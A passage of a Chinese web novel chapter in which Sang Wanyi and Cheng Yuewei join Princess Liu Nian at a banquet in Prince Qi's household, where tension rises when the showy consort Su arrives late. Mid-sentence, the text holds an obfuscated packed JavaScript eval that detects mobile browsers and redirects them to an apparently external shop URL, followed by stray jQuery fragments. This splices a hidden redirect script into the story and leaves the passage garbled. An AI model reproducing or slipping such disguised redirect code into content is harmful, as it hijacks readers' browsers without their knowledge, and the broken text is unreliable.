三人聊了几句家常,刘念忽然转头看向桑晚意,眼中带着几分欣赏:“我听闻裴二少夫人在京中开了个‘晚意坊’,生意还算红火吗?”
桑晚意没想到这事儿都传到王妃耳朵里了,谦虚道:“不过是小打小闹,让娘娘见笑了,铺子还没正式开张,正在做些准备。”
“这怎么是小打小闹?”刘念放下茶盏,认真道,“女子在世,本就不易,能有份自己的营生,那就是天大的本事,我若是没这身份束缚着,倒也想学学二少夫人,自在逍遥。”
这话听得桑晚意心中一动,看来这位王妃,并非是那种满足当天日子的主,只是碍于一些闲置,不能大展手脚。
“娘娘谬赞了。”
桑晚意笑了笑,“若是王妃不嫌弃,等铺子开张了,晚意让人送些新研制的香膏来给王妃试试。”
“那感情好。”刘念也没推辞,笑着应下。
屋内气氛正好,绿珠端着燕窝走了进来,分别放在程月薇和桑晚意面前。
那是上好的血燕,熬得软糯粘稠,散发着诱人的香气。
“这可是我特意让小厨房留着的。”刘念看着程月薇吃得香甜,眼神里满是关切,“你现在是双身子,最是要紧,前头那些宴席上的东西,若是觉得不合胃口,或者……觉得不放心,就别碰,饿了就在我这儿吃。”
程月薇嘴里含着粥,含糊不清地点头:“我知道了姐姐,我就信你的。”
桑晚意在一旁看着,心里却有了不一样的想法,豪门深似海,这齐王府更是乌烟瘴气,可在这小小的听雨轩里,却有着难得的温情,刘念作为大姑姐,是真的在护着程月薇这个弟媳,也是在护着刘家未出世的孩子。
桑晚意端起燕窝,轻轻尝了一口,温热顺滑,甜度适中,确实是用了心的。
“多谢王妃款待。”桑晚意真诚地道谢。
刘念摆摆手:“你是月薇的好友,也就是我的客人。再说……”
她顿了顿,目光有些深远,“裴将军也是个不可多得的人才,我那儿子在边关,还多亏了裴家军照应。”
原来如此。
桑晚意这下全明白了,刘念这不仅仅是护着弟媳,也是在向裴家示好,齐王虽然是个糊涂蛋,但他这个正妃,脑子可是清醒得很。
一碗血燕下肚,几人的身子都暖了起来,听雨轩虽好,到底不是今日宴席的主场,若是去得太晚,怕是又要在那些碎嘴婆子口中落个目中无人的口实。
刘念放下茶盏,理了理并无褶皱的裙摆,起身道:“时辰差不多了,咱们过去吧。”
桑晚意和程月薇相视一笑,一左一右扶着刘念出了听雨轩。
厅内早已坐满了人,衣香鬓影,好不热闹。
桑晚意刚一脚踏进去,目光就在人群里扫到了两个熟悉的身影。
礼部尚书府的位置上,宋岚正拉着几位官眷说话,脸上的笑意堆得快要溢出来,那股子热络劲儿,看着都替她累。坐在她身旁的桑婉婉倒是安分不少,一身粉霞锦绶藕丝缎裙,打扮得娇俏可人,只是那双眼睛不住地往四处乱飘,显是有些心不在焉。
似是察觉到了门口的动静,桑婉婉下意识地抬头,正正撞上桑晚意看过来的目光,但桑婉婉在看到桑晚意的下一秒就飞快地把头低了下去,再不敢往这边看一眼。
桑晚意挑了挑眉,心中暗笑,看来之前的几次交锋,到底是把这朵小白花给打疼了,如今见了自己,竟像是老鼠见了猫。
只要这母女俩不主动上来找死,她今日也懒得搭理。
随着刘念走进正厅,原本喧闹的场面静了一瞬,虽说这齐王府里侧妃受宠,但在座的夫人们心里都跟明镜似的,正妃就是正妃,这刘家嫡女的气度,哪里是一个以色侍人的妾室能比的。
众夫人纷纷起身行礼,刘念面色淡淡,抬手示意众人免礼,便径直走向主位旁的椅子坐下。
这位置有些微妙。按理说,今日是给庶长子的儿子办周岁,苏侧妃算是半个主人,但这正妃在场,苏侧妃的位置就不好摆。
众人拿眼去瞧,只见主位正座空着,想来是留给齐王的,右下首坐了刘念,左下首
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097843|195675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的位置却布置得格外奢华,甚至还铺了金丝软垫,瞧着比刘念那位置还要显眼几分。
程月薇是个直肠子,一看这架势就气不打一处来,刚要开口,就被桑晚意轻轻按住了手背。
“别说话,你身份微妙,此时为王妃出头倒给王妃找不痛快了。”
桑晚意压低声音说道。
程月薇对内宅的斗争并不擅长,但是她听桑晚意的,就在桑晚意身边坐下了。
满厅的宾客都到了,连齐王妃都坐了好一会儿,这办宴的正主儿却还不见踪影。
有些沉不住气的夫人已经开始交头接耳,目光频频往门口看。
就在众人等得有些不耐烦的时候,门口终于传来了一阵环佩叮当的声响。
“哎哟,让诸位久等了,实在是小孙儿离不开人,这一折腾就误了时辰。”
未见其人,先闻其声,这声音娇媚入骨,听得人骨头都酥了半边。
紧接着,一群丫鬟婆子簇拥着一个盛装妇人走了进来。
桑晚意定睛一看,差点没笑出声来。
这位苏侧妃,今日怕是把整个齐王府的库房都穿在身上了。
一身大红色的织金牡丹团花锦袍,头上插满了金钗步摇,脖子上挂着赤金盘螭璎珞圈,手腕上也是叮叮当当好几个镯子。
这一身行头,富贵是富贵,就是透着一股子暴发户的味道,跟旁边素雅端庄的刘念一比,高下立判。
跟在苏侧妃身后的,是一脸傲气的凌欢颜,下巴扬得比天高。
而走在最后的,则是一个看起来有些畏缩的年轻妇人,怀里抱着个裹得严严实实的大红襁褓,应该就是**恒的妻子,周兰。
周兰生得倒是清秀,只是眉宇间透着一股愁苦之色,显然是被这婆母和小姑子压的不轻。
苏曼丽径直走到刘念面前,连膝盖都没弯一下:“姐姐来得这样早?妹妹我忙着照看小金孙,倒是怠慢了姐姐,姐姐一向大度,想必不会跟妹妹计较吧?”
厅内的气氛瞬间凝固,所有人都屏住了呼吸。